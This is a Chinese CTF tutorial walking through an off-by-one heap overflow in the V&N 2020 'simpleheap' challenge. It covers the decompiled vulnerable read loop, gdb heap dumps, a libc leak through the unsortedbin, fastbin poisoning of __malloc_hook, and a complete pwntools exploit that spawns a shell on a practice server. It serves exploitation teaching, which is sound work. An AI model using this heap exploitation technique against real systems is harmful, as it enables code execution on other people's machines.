当前位置: 首页 > 技术干货 > 快速入门堆溢出技巧(OFF BY ONE)

快速入门堆溢出技巧(OFF BY ONE)

发表于:2021-05-10 16:13 作者: mtr 阅读数(392人)

你是否正在收集各类网安网安知识学习,合天网安实验室为你总结了1300+网安技能任你学,点击获取免费靶场>>


OFF BY ONE

所谓OFF BY ONE就是利用堆溢出一个字节到下一个堆块,使得目前堆块与下一堆块合并成一个堆块,此时堆块的大小就是我们溢出的那一字节

并且堆块的fd(前驱指针)以及bk(后继指针)都会指向

main_arena+88的地址这也是我们泄露出来的地址

利用gdb 输入libc查看基地址,main_arena+88-libc=offset

本文涉及相关实验:缓冲区溢出基础与实践 (本实验主要介绍了缓冲区溢出基础与实例,通过本实验的学习,了解缓冲区溢出的原理与危害,掌握防范缓冲区溢出的基本方法)


UNSORTERBIN&FASTBINS

在堆块的bins中分为fastbins,largebins,smallbins还有今天要用到的unsortedbin。所谓unsortedbin就是为未分类的区块。

例题讲解

本次我选用V&N在2020的招新赛的simpleheap 如有需要可在buuctf找到

思路概述

我们先创建足够的堆块一般对于这种菜单类型的题目我们创建4个堆块

其中编号为3(编号从0到3)的堆块用来隔开top chunk避免我们需要用到的

编号为1,2的堆块中的2堆块与top chunk重合导致无法使用unsortedbin攻击

接着去利用off by one+unsortedbin泄露libc(使用show函数)最后将堆排布好并构建payload传入即可

First step

常规操作checksec

保护全开64位,倒也正常。接着拉进ida慢慢分析

q@ubuntu:~$ checksec vn
[*] '/home/q/vn'
  Arch:     amd64-64-little
  RELRO:   Full RELRO
  Stack:   Canary found
  NX:       NX enabled
  PIE:     PIE enabled

如下我们可以发现是个非常经典的菜单题目,那么经过查找漏洞点发现在edit函数

void __fastcall main(__int64 a1, char **a2, char **a3)
{
sub_A39(a1, a2, a3);
puts("Welcome to V&N challange!");
puts("This's a simple heap for you.");
while ( 1 )
{
  menu();
  switch ( (unsigned int)sub_9EA() )
  {
    case 1u:
      add();
      break;
    case 2u:
      edit();
      break;
    case 3u:
      show();
      break;
    case 4u:
      del();
      break;
    case 5u:
      exit(0);
    default:
      puts("Please input current choice.");
      break;
  }
}
}

如下get_input_content里面有个off by one 的漏洞

unsigned __int64 __fastcall sub_C39(__int64 a1, int a2)
{
unsigned __int64 result; // rax
unsigned int i; // [rsp+1Ch] [rbp-4h]

for ( i = 0; ; ++i )
{
  result = i;
  if ( (int)i > a2 )
    break;
  if ( !read(0, (void *)((int)i + a1), 1uLL) )
    exit(0);
  if ( *(_BYTE *)((int)i + a1) == 10 )
  {
    result = (int)i + a1;
    *(_BYTE *)result = 0;
    return result;
  }
}
return result;
}

Second step

在第一步我们对程序的漏洞点寻找完毕

现在我们要开始第二步去利用off by one创建fake chunk了,先上交互函数

from pwn import *
context(log_level='debug')
r=process('./vn')
#elf=ELF('./vn')
#r=remote('node3.buuoj.cn',28465)
libc=ELF('16.so')
def add(size,content):
      r.recvuntil("choice: ")
      r.sendline("1")
      r.sendlineafter("size?",str(size))
      r.sendlineafter("content:",content)
def edit(idx,content):
      r.recvuntil("choice: ")
      r.sendline("2")
      r.sendlineafter("idx?",str(idx))
      r.sendlineafter("content:",content)
def dump(idx):
      r.recvuntil("choice: ")
      r.sendline("3")
      r.sendlineafter("idx?",str(idx))
def free(idx):
      r.recvuntil("choice: ")
      r.sendline("4")
      r.sendlineafter("idx?",str(idx))

如思路概述所讲到我们需要创建4个堆

我们创建好的堆结构如下

在gdb中正常的堆结构如下

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x556b208da000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x556b208da020
Size: 0x71

Allocated chunk | PREV_INUSE
Addr: 0x556b208da090
Size: 0x71

Allocated chunk | PREV_INUSE
Addr: 0x556b208da100
Size: 0x21

Top chunk | PREV_INUSE
Addr: 0x556b208da120
Size: 0x20ee1

接下来我们开始利用off by one去对其创建fake chunk

add(0x18,b'a')#0
add(0x68,b'a')#1
add(0x68,b'a')#2
add(0x18,b'a')#3 阻断top chunk

edit(0,b'a'*0x18+b'\xe1')
free(1)
gdb.attach(r)

gdb中调试结果如下,我们很明显的可以看见两个0x71的堆块合并成了我们想要的0xe1的堆块,此时我们的fake chunk就构建完毕了

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5650f994f000
Size: 0x21

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x5650f994f020
Size: 0xe1
fd: 0x7fc2f9aebb78
bk: 0x7fc2f9aebb78

Allocated chunk
Addr: 0x5650f994f100
Size: 0x20

Top chunk | PREV_INUSE
Addr: 0x5650f994f120
Size: 0x20ee1

Third step

有了fake chunk 现在我们就需要用到unsortedbin里面的chunk去泄露libc

在开头的OFF BY ONE的介绍中我们提到了因为OFF BY ONE形成的chunk

其fd bk指针会指向main_arena+88,在gdb输入libc可以得到libc的地址

main_arena+88-libc=offset=0x3c4b78

在这里呢我们现在要解决的如何用脚本实现交互自动取得偏移呢?

这里就要继续提到

分割unsortedbin

我们重新申请一个堆块,该堆块的大小若刚好在unsortedbin中(强烈建议对半分割),我们申请回来之后通过gdb可以看见其中的堆结构如下

一个0x71在unsortedbin,另外一个是我们可以正常使用的,此时他的内容便是fd与bk指向的地址main_arena+88

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x559615971000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x559615971020
Size: 0x71

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x559615971090
Size: 0x71
fd: 0x7f0437e11b78
bk: 0x7f0437e11b78

Allocated chunk
Addr: 0x559615971100
Size: 0x20

Top chunk | PREV_INUSE
Addr: 0x559615971120
Size: 0x20ee1

因此我们可以得的泄露脚本如下

add(0x68,b'a'*0x08)#1 切割unsortedbin 使得2进入unsortedbin泄露

main_arena

dump(2)

leak=u64(r.recv(6).ljust(8,b'\x00'))

print(hex(leak))

gdb.attach(r)

libc_base=leak-(0x3c4b78)#0x7f2c05c6cb78-0x7f2c058a8000

realloc_addr=libc_base+libc.sym['__libc_realloc']

malloc_hook=libc_base+libc.sym['__malloc_hook']

fake_chunk_addr=malloc_hook-0x23

one_gadget=libc_base+0x4526a

print(hex(realloc_addr))

print(hex(fake_chunk_addr))

PS:

这里可以说下为什么fake_chunk_addr=malloc_hook-0x23

这个malloc_hook-0x23刚好可以达到fastbin这个基本上每个程序都是固定的

如下0x7f78812fbaed就是fake chunk的地址处于fastbins

并且非常有意思的是此处正是我们leak处main_arena+88这个地方减去88再减去0x33得的的地址,并且该地址也是我们对堆块输入内容的地址

pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x55f8ce9d4090 —▸ 0x7f78812fbaed (_IO_wide_data_0+301) ◂— 0x7880fbcea0000000
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

Last step

我们现在有了需要的一切,那么现在最后一步就是对堆进行排布并且传入我们构建好的payload

在这里所谓的堆排布就是我们要想办法让堆块去执行我们的传入的payload

从第三步完结的时候堆排布如下

此时我们再申请一个0x68大小的堆块就可以把unsortedbin里面的东西都拿出来

此时堆结构依然不改变,只是位于unsortedbin的chunk变成可以利用的正常chunk其fd bk指针不再指向别的地址而是去指向前驱和后继的chunk

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555d4046b000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x555d4046b020
Size: 0x71

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x555d4046b090
Size: 0x71
fd: 0x7ff34264eb78
bk: 0x7ff34264eb78

Allocated chunk
Addr: 0x555d4046b100
Size: 0x20

Top chunk | PREV_INUSE
Addr: 0x555d4046b120
Size: 0x20ee1

接下来我们再去free掉一个0x68大小的chunk

对留下来的0x68大小的chunk内容填充为fake chunk的地址

接着继续把被free的chunk申请回来,那么此时fastbin链表就会去指向fake chunk

也许语言看蒙了人,我就用图表示

图1如下是free掉后再去填充的样子

图2如下是我们把被free的chunk申请回来后的样子

此时我们可以说是已经劫持成功了,我们接着去填充payload然后再申请一个堆块就可以触发payload了

add(0x68,b'a'*0x08)# 4与2同时指向0x70

free(4)
edit(2,p64(fake_chunk_addr))

add(0x68,b'a'*0x08)#4


payload=b'a'*(0x13-0x08)+p64(one_gadget)+p64(realloc_addr+12)
add(0x68,payload)#5

r.recvuntil("choice: ")
r.sendline("1")
r.sendlineafter("size?",str(0x18))
print(hex(libc.sym['__malloc_hook']))
r.interactive()

PS:

关于为什么是0x13-0x08,因为我们从main_arena-0x33的位置填充的(第三步有提到),而这个位置距离realloc_hook的距离就是(0x13-8)

关于realloc_hook压栈到底要加多少

我们可以打开gdb输入 x/32i __libc_realloc

pwndbg> x/32i __libc_realloc
  0x7ff34230e710 <__GI___libc_realloc>: push   r15
  0x7ff34230e712 <__GI___libc_realloc+2>: push   r14
  0x7ff34230e714 <__GI___libc_realloc+4>: push   r13
  0x7ff34230e716 <__GI___libc_realloc+6>: push   r12
  0x7ff34230e718 <__GI___libc_realloc+8>: mov   r12,rsi
  0x7ff34230e71b <__GI___libc_realloc+11>: push   rbp
  0x7ff34230e71c <__GI___libc_realloc+12>: push   rbx

把里面的数字一个个代入试试看。

最后的完整exp如下

EXP:

需要的libc从buuctf里面下载

from pwn import *
context(log_level='debug')
#r=process('./vn')
#elf=ELF('./vn')
r=remote('node3.buuoj.cn',28640)
libc=ELF('64.so')
def add(size,content):
       r.recvuntil("choice: ")
       r.sendline("1")
       r.sendlineafter("size?",str(size))
       r.sendlineafter("content:",content)
def edit(idx,content):
       r.recvuntil("choice: ")
       r.sendline("2")
       r.sendlineafter("idx?",str(idx))
       r.sendlineafter("content:",content)
def dump(idx):
       r.recvuntil("choice: ")
       r.sendline("3")
       r.sendlineafter("idx?",str(idx))
def free(idx):
       r.recvuntil("choice: ")
       r.sendline("4")
       r.sendlineafter("idx?",str(idx))


#gdb.attach(r)
add(0x18,b'a')#0
add(0x68,b'a')#1
add(0x68,b'a')#2
add(0x18,b'a')#3 阻断top chunk

edit(0,b'a'*0x18+b'\xe1')
free(1)
add(0x68,b'a'*0x08)#1 切割unsortedbin 使得2进入unsortedbin泄露main_arena
dump(2)
leak=u64(r.recv(6).ljust(8,b'\x00'))
print(hex(leak))

libc_base=leak-(0x3c4b78)#0x7f2c05c6cb78-0x7f2c058a8000
realloc_addr=libc_base+libc.sym['__libc_realloc']
malloc_hook=libc_base+libc.sym['__malloc_hook']
fake_chunk_addr=malloc_hook-0x23
one_gadget=libc_base+0x4526a
print(hex(realloc_addr))
print(hex(fake_chunk_addr))
add(0x68,b'a'*0x08)# 4与2同时指向0x70
free(4)
edit(2,p64(fake_chunk_addr))
add(0x68,b'a'*0x08)#4
payload=b'a'*(0x13-0x08)+p64(one_gadget)+p64(realloc_addr+12)
add(0x68,payload)#5
r.recvuntil("choice: ")
r.sendline("1")
r.sendlineafter("size?",str(0x18))
print(hex(libc.sym['__malloc_hook']))
r.interactive()

结果如下
110.png